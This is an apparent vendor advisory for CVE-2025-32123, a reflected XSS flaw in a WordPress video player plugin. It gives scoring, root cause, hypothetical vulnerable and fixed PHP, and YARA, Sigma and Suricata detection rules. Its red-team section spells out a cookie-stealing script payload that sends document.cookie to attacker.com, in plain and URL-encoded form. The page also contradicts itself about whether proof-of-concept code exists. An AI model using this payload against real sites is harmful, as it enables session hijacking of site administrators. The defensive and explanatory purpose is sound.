CVE-2025-32123
Executive Summary
CVE-2025-32123 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin HTML5 Video Player with Playlist & Multiple Skins by LambertGroup. The flaw exists in the lbg-vp2-html5-rightside component, which fails to properly neutralize user-supplied input during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator or any user with access to the plugin’s interface, executes arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability affects all versions up to and including 5.3.5. No official patch has been released, and no public proof-of-concept code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed via the WordPress admin dashboard or directly uploaded to the /wp-content/plugins/ directory. The reflected XSS vector likely involves a parameter passed in the URL that is echoed back without sanitization, such as a search term, error message, or configuration value.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to craft a URL.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must click the malicious link.
- Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
CVSS Score: 7.1 (High) – This reflects the ease of exploitation and potential for session theft or phishing.
Deep Dive & Mechanics
The vulnerability resides in the lbg-vp2-html5-rightside component of the plugin. This component likely handles URL parameters for playlist selection, skin customization, or error display. The plugin fails to sanitize or escape user input before reflecting it in the HTML response. For example, a parameter like ?playlist=<script>alert('XSS')</script> might be directly injected into the page without proper encoding.
Attack Flow:
- Attacker identifies a vulnerable parameter (e.g.,
playlist,skin,error). - Attacker crafts a URL:
https://victim-site.com/?playlist=<script>/* malicious JS */</script>. - Attacker sends the link via email, social media, or a forum.
- Victim clicks the link while authenticated to the WordPress admin.
- The malicious script executes in the victim’s browser, stealing session cookies or performing actions on behalf of the victim.
Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html(), esc_attr(), or wp_kses() WordPress sanitization functions.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common WordPress XSS fixes.
Vulnerable Code (PHP):
$playlist = $_GET['playlist'];
echo '<div class="playlist-name">' . $playlist . '</div>';
Patched Code (PHP):
$playlist = isset($_GET['playlist']) ? sanitize_text_field($_GET['playlist']) : '';
echo '<div class="playlist-name">' . esc_html($playlist) . '</div>';
The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with the vulnerable plugin (version <= 5.3.5).
- A web browser with developer tools.
Steps:
- Identify the vulnerable parameter by fuzzing the plugin’s URL parameters (e.g.,
?playlist=test,?skin=test). - Confirm XSS by injecting a simple payload:
?playlist=<script>alert('XSS')</script>. - Craft a payload to steal cookies:
<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> - Encode the payload for URL:
?playlist=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the malicious link to a victim.
Example Exploit URL:
https://victim-site.com/?playlist=%3Cscript%3Ealert(1)%3C/script%3E
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>,onerror=, orjavascript:in query parameters. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable the plugin until a patch is released.
- Apply a virtual patch via WAF to block reflected XSS attempts.
- Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
?playlist=,?skin=, or?error=followed by<script>or%3Cscript%3E. - Log Entries: HTTP 200 responses with injected JavaScript in the response body.
- Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
- File Hashes: (If a malicious plugin version is found) – Not applicable here.
Detection Engineering
YARA Rule
rule CVE_2025_32123_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting HTML5 Video Player plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32123"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$vuln_param = /[?&](playlist|skin|error)=/i
condition:
$vuln_param and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against HTML5 Video Player Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '?playlist='
- '?skin='
- '?error='
c-uri|re: '<script[^>]*>.*?</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in admin panels (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32123 Reflected XSS Attempt"; flow:to_server; content:"?playlist="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the plugin until a patch is released by the vendor.
- Virtual Patching: Use a WAF to block requests containing
<script>in query parameters associated with the plugin. - Code Fix: If you have access to the plugin source, apply input sanitization using WordPress functions like
sanitize_text_field()andesc_html(). - User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.
- Monitoring: Enable logging and alerting for XSS patterns in web server logs.
- CSP Implementation: Add a Content Security Policy header to restrict script execution to trusted sources only.
Valters IT – Securing digital frontiers with precision and expertise.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.